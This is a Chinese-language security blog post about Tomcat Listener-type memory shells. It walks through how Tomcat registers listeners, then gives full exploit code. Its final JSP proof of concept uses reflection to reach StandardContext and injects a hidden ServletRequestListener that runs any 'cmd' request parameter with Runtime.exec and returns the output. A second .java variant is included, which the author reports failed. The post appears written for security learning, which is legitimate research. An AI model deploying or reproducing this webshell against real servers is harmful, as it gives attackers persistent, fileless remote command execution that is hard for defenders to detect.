Drunkbaby - Tomcat Listener 型内存马流程理解与手写 EXP

前言

内存马给我最大的感受是,它可以有很强的隐蔽性,但是攻击方式也是比较局限,仅仅是文件上传这种,相比于反序列化其实,反序列化的危害性要强的多的多。
之前在前文基础内容里面已经提过了 Tomcat 的一些架构知识,这里的话就不再赘述,简单写一下 Listener 的基础知识。

Listener 基础知识

Java Web 开发中的监听器(Listener)就是 Application、Session 和 Request 三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。

用途

可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。

Listener 三个域对象

  • ServletContextListener
  • HttpSessionListener
  • ServletRequestListener

很明显,ServletRequestListener 是最适合用来作为内存马的。
因为 ServletRequestListener 是用来监听 ServletRequest对 象的,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()方法。下面我们来实现一个恶意的 Listener。

Listener 基础代码实现

和之前 Filter 型内存马的原理其实是一样的,之前我们说到 Filter 内存马需要定义一个实现 Filter 接口的类,Listener 也是一样,我们直接在之前创建好的 Servlet 项目里面冻手。
要求 Listener 的业务对象要实现EventListener这个接口,我们可以先去看一下EventListener这个接口:
22.09.03-Drunkbaby - Tomcat Listener 型内存马流程理解与手写 EXP - 图1
它有非常多的实现类,那么如果我们需要实现内存马的话就需要找一个每个请求都会触发的 Listener,我们去寻找的时候一定是优先找 Servlet开头的类。
这里我找到了ServletRequestListener,因为根据名字以及其中的requestInitialized()方法感觉我们的发送的每个请求都会触发这个监控器:
22.09.03-Drunkbaby - Tomcat Listener 型内存马流程理解与手写 EXP - 图2
这里我们尝试自己写一个 Listener,并进行测试。
因为前面猜想requestInitialized()方法可以触发 Listener 监控器,所以我们在requestInitialized()方法里面加上一些代码,来证明它何时被执行:

  1. package Listener;
  2. import javax.servlet.ServletRequestEvent;
  3. import javax.servlet.ServletRequestListener;
  4. import javax.servlet.annotation.WebListener;
  5. import java.util.EventListener;
  6. @WebListener("/listenerTest")
  7. public class ListenerTest implements ServletRequestListener {
  8. public ListenerTest(){
  9. }
  10. @Override
  11. public void requestDestroyed(ServletRequestEvent sre) {
  12. }
  13. @Override
  14. public void requestInitialized(ServletRequestEvent sre) {
  15. System.out.println("Listener 被调用");
  16. }
  17. }

同样是需要我们修改 web.xml 文件的,添加如下:

  1. <listener>
  2. <listener-class>Listener.ListenerTest</listener-class>
  3. </listener>

接着访问对应的路径即可,这里是因人而异的。当我们访问对应路径的时候,会在控制台打印出如下的信息:
22.09.03-Drunkbaby - Tomcat Listener 型内存马流程理解与手写 EXP - 图3
至此,Listener 基础代码实现完成,下面我们来分析 Listener 的运行流程。

Listener 流程分析

流程分析的意义是让我们能够正确的写入恶意的内存马,具体要解决的其实有以下两个问题:

  1. 我们的恶意代码应该在哪儿编写?
  2. Tomcat 中的 Listener 是如何实现注册的?

    应用开启前

    先读取 web.xml

    一开始我是把断点下在requestInitialized()方法这里的,后续发现进不去,于是看了其他师傅的文章,才知道是:在启动应用的时候,ContextConfig类会去读取配置文件,所以我们去到ContextConfig这个类里面找一下哪个方法是来读取配置文件的。
    找了很久,主要是去看谁调用了 web.xml,最好是谁把 web.xml 作为参数传进去,因为一般作为参数传进去,才会进行大处理,发现是configureContext()方法:
    22.09.03-Drunkbaby - Tomcat Listener 型内存马流程理解与手写 EXP - 图4
    这个方法主要是做一些读取数据并保存的工作,我们不难发现其中读取了 Filter 等 Servlet 组件,我们重点肯定是关注于 Listener 的读取的,最后找到在这个地方读取了 web.xml:
    22.09.03-Drunkbaby - Tomcat Listener 型内存马流程理解与手写 EXP - 图5
    所以这个地方,1235 行可以先打个断点,接着我们继续往里看 ————addApplicationListener()这个方法,进去之后发现是一个接口中的方法,我们去找它的实现方法:
    22.09.03-Drunkbaby - Tomcat Listener 型内存马流程理解与手写 EXP - 图6
    第一个FailedContext类里面的addApplicationListener()是没东西的,东西在StandContext里面。
    明白断点后开始调试:
    一开始我们的第一步,直接获取到 web.xml,如图:
    22.09.03-Drunkbaby - Tomcat Listener 型内存马流程理解与手写 EXP - 图7
    我们看到 webxml 里面的 listener 已经有了对应的 Listener 文件,继续往下走。
    总的代码比较啰嗦,但是耐心一点也还好,我们下一步应该是走到addApplicationListener()这里的。
    22.09.03-Drunkbaby - Tomcat Listener 型内存马流程理解与手写 EXP - 图8

    读取完配置文件,加载 Listener

    当我们读取完配置文件,当应用启动的时候,StandardContext会去调用listenerStart()方法。这个方法做了一些基础的安全检查,最后完成简单的 start 业务:
    22.09.03-Drunkbaby - Tomcat Listener 型内存马流程理解与手写 EXP - 图9
    刚开始的地方,listenerStart()方法中有这么一个语句:

    1. String listeners[] = findApplicationListeners();

    这里实际就是把之前的 Listener 存到这里面,之前看某位师傅的文章这个地方分析半天,其实根本没必要,这里自己心里有个数就好了,我也就不跟断点了,这个调试过程非常烦杂,没有必要。

    应用运行过程

    我们最先开始调试,肯定是把断点下在requestInitialized()方法这里的,调试之后发现一个什么问题呢?是我们走进去之后的代码没有什么实际作用,其实这里是断点下错了,正确的断点位置应该下在这里:
    22.09.03-Drunkbaby - Tomcat Listener 型内存马流程理解与手写 EXP - 图10
    正确的断点位置如图:
    22.09.03-Drunkbaby - Tomcat Listener 型内存马流程理解与手写 EXP - 图11
    开始调试,这里我们先进到getApplicationEventListeners()方法里面:
    22.09.03-Drunkbaby - Tomcat Listener 型内存马流程理解与手写 EXP - 图12
    getApplicationEventListeners()方法做了这么一件事:获取一个 Listener 数组:

    1. public Object[] getApplicationEventListeners() {
    2. return applicationEventListenersList.toArray();
    3. }

    我们可以点进去看一下 applicationEventListenersList 是什么,可以看到 Listener 实际上是存储在applicationEventListenersList属性中的:
    22.09.03-Drunkbaby - Tomcat Listener 型内存马流程理解与手写 EXP - 图13
    并且我们可以通过StandardContext#addApplicationEventListener()方法来添加 Listener:

    1. public void addApplicationEventListener(Object listener) {
    2. applicationEventListenersList.add(listener);
    3. }

    到这一步的调试就没有内容了,所以这里的逻辑有应该是和 Filter 差不多的,Listener 这里有一个 Listener 数组,对应的 Filter 里面也有一个 Filter 数组。
    在 Listener 组内的 Listeners 会被逐个触发,最后到我们自己定义的 Listener 的requestInitialized()方法去:
    22.09.03-Drunkbaby - Tomcat Listener 型内存马流程理解与手写 EXP - 图14

    小结运行流程

    在应用开始前,先读取了 web.xml,从中读取到 Listeners,并进行加载;加载完毕之后会进行逐个读取,对每一个 Listener,都会到requestInitialized()方法进去。

    Listner 型内存马 EXP 编写

    EXP 分析

    如果我们要实现 EXP,要做哪些步骤呢?
    很明显的一点是,我们的恶意代码肯定是写在对应 Listener 的requestInitialized()方法里面的。
    通过 StandardContext 类的addApplicationEventListener()方法把恶意的 Listener 放进去。
    Listener 与 Filter 的大体流程是一样的,所以我们也可以把 Listener 先放到整个 Servlet 最前面去
    这就是最基础的两步了,如果排先后顺序的话一定是先获取 StandardContext 类,再通过addApplicationEventListener()方法把恶意的 Listener 放进去,我们可以用流程图来表示一下运行过程:
    22.09.03-Drunkbaby - Tomcat Listener 型内存马流程理解与手写 EXP - 图15

    EXP 编写

    我们一步步来实现整个 EXP,首先做最简单的工作 ———— 编写恶意的代码:

    1. String cmd;
    2. try {
    3. cmd = sre.getServletRequest().getParameter("cmd");
    4. org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
    5. Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
    6. requestField.setAccessible(true);
    7. Request request = (Request) requestField.get(requestFacade);
    8. Response response = request.getResponse();
    9. if (cmd != null){
    10. InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
    11. int i = 0;
    12. byte[] bytes = new byte[1024];
    13. while ((i=inputStream.read(bytes)) != -1){
    14. response.getWriter().write(new String(bytes,0,i));
    15. response.getWriter().write("\r\n");
    16. }
    17. }
    18. }catch (Exception e){
    19. e.printStackTrace();
    20. }

    接着是获取 StandardContext 的代码,并且添加 Listener,在StandardHostValve#invoke中,可以看到其通过request对象来获取StandardContext类:
    22.09.03-Drunkbaby - Tomcat Listener 型内存马流程理解与手写 EXP - 图16
    同样地,由于JSP内置了request对象,我们也可以使用同样的方式来获取:

    1. <%
    2. Field reqF = request.getClass().getDeclaredField("request");
    3. reqF.setAccessible(true);
    4. Request req = (Request) reqF.get(request);
    5. StandardContext context = (StandardContext) req.getContext();
    6. %>

    接着我们编写一个恶意的Listener:

    1. <%!
    2. public class Shell_Listener implements ServletRequestListener {
    3. public void requestInitialized(ServletRequestEvent sre) {
    4. HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
    5. String cmd = request.getParameter("cmd");
    6. if (cmd != null) {
    7. try {
    8. Runtime.getRuntime().exec(cmd);
    9. } catch (IOException e) {
    10. e.printStackTrace();
    11. } catch (NullPointerException n) {
    12. n.printStackTrace();
    13. }
    14. }
    15. }
    16. public void requestDestroyed(ServletRequestEvent sre) {
    17. }
    18. }
    19. %>

    最后添加监听器:

    1. <%
    2. Shell_Listener shell_Listener = new Shell_Listener();
    3. context.addApplicationEventListener(shell_Listener);
    4. %>

    最终 PoC

    ```java <%@ page import=”org.apache.catalina.core.StandardContext” %> <%@ page import=”java.util.List” %> <%@ page import=”java.util.Arrays” %> <%@ page import=”org.apache.catalina.core.ApplicationContext” %> <%@ page import=”java.lang.reflect.Field” %> <%@ page import=”java.util.ArrayList” %> <%@ page import=”java.io.InputStream” %> <%@ page import=”org.apache.catalina.connector.Request” %> <%@ page import=”org.apache.catalina.connector.Response” %> <%!

    class ListenerMemShell implements ServletRequestListener {

    1. @Override
    2. public void requestInitialized(ServletRequestEvent sre) {
    3. String cmd;
    4. try {
    5. cmd = sre.getServletRequest().getParameter("cmd");
    6. org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
    7. Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
    8. requestField.setAccessible(true);
    9. Request request = (Request) requestField.get(requestFacade);
    10. Response response = request.getResponse();
    11. if (cmd != null){
    12. InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
    13. int i = 0;
    14. byte[] bytes = new byte[1024];
    15. while ((i=inputStream.read(bytes)) != -1){
    16. response.getWriter().write(new String(bytes,0,i));
    17. response.getWriter().write("\r\n");
    18. }
    19. }
    20. }catch (Exception e){
    21. e.printStackTrace();
    22. }
    23. }
    24. @Override
    25. public void requestDestroyed(ServletRequestEvent sre) {
    26. }

    } %>

<% ServletContext servletContext = request.getServletContext(); Field applicationContextField = servletContext.getClass().getDeclaredField(“context”); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

  1. Field standardContextField = applicationContext.getClass().getDeclaredField("context");
  2. standardContextField.setAccessible(true);
  3. StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
  4. Object[] objects = standardContext.getApplicationEventListeners();
  5. List<Object> listeners = Arrays.asList(objects);
  6. List<Object> arrayList = new ArrayList(listeners);
  7. arrayList.add(new ListenerMemShell());
  8. standardContext.setApplicationEventListeners(arrayList.toArray());

%>

  1. <a name="Gh9GC"></a>
  2. #### 成功
  3. ![](https://cdn.nlark.com/yuque/0/2022/jpeg/1632223/1663089463729-6fe3ae9b-5cbd-4f2d-8fd4-22f7be398c42.jpeg#clientId=u355987a7-4db2-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=u6e77ba87&margin=%5Bobject%20Object%5D&originHeight=405&originWidth=690&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=ueb2aaa56-37a6-442f-a019-c32836cf156&title=)<br />这是 JSP 的写法,我们还可以和 Filter 型内存马一样,用 .java 的写法来完成。PoC 如下,我这里实验失败了:
  4. ```java
  5. package Listener;
  6. import javax.servlet.ServletRequestEvent;
  7. import javax.servlet.ServletRequestListener;
  8. import javax.servlet.annotation.WebListener;
  9. import javax.servlet.http.HttpServletRequest;
  10. import javax.servlet.http.HttpServletResponse;
  11. import java.io.BufferedReader;
  12. import java.io.InputStream;
  13. import java.io.InputStreamReader;
  14. import java.lang.reflect.Field;
  15. @WebListener
  16. public class ListenerShell implements ServletRequestListener {
  17. @Override
  18. public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
  19. }
  20. @Override
  21. public void requestInitialized(ServletRequestEvent servletRequestEvent) {
  22. HttpServletRequest req = (HttpServletRequest)servletRequestEvent.getServletRequest();
  23. HttpServletResponse resp = this.getResponseFromRequest(req);
  24. String cmd = req.getParameter("cmd");
  25. try {
  26. String result = this.CommandExec(cmd);
  27. resp.getWriter().println(result);
  28. System.out.println("部署完成");
  29. } catch (Exception e) {
  30. }
  31. }
  32. public String CommandExec(String cmd) throws Exception {
  33. Runtime rt = Runtime.getRuntime();
  34. Process proc = rt.exec(cmd);
  35. InputStream stderr = proc.getInputStream();
  36. InputStreamReader isr = new InputStreamReader(stderr);
  37. BufferedReader br = new BufferedReader(isr);
  38. String line = null;
  39. StringBuffer sb = new StringBuffer();
  40. while ((line = br.readLine()) != null) {
  41. sb.append(line + "\n");
  42. }
  43. return sb.toString();
  44. }
  45. public synchronized HttpServletResponse getResponseFromRequest(HttpServletRequest var1) {
  46. HttpServletResponse var2 = null;
  47. try {
  48. Field var3 = var1.getClass().getDeclaredField("response");
  49. var3.setAccessible(true);
  50. var2 = (HttpServletResponse)var3.get(var1);
  51. } catch (Exception var8) {
  52. try {
  53. Field var4 = var1.getClass().getDeclaredField("request");
  54. var4.setAccessible(true);
  55. Object var5 = var4.get(var1);
  56. Field var6 = var5.getClass().getDeclaredField("response");
  57. var6.setAccessible(true);
  58. var2 = (HttpServletResponse)var6.get(var5);
  59. } catch (Exception var7) {
  60. }
  61. }
  62. return var2;
  63. }
  64. }

小结

相对于 Filter 型内存马来说,Listener 型内存马的实现更为简易的多,可以把 Listener 型内存马需要实现的步骤看成是 Filter 型内存马的一部分。

参考资料

天下大木头 - Tomcat 内存马(二):Listener 内存马

枫のBlog - Java安全学习——内存马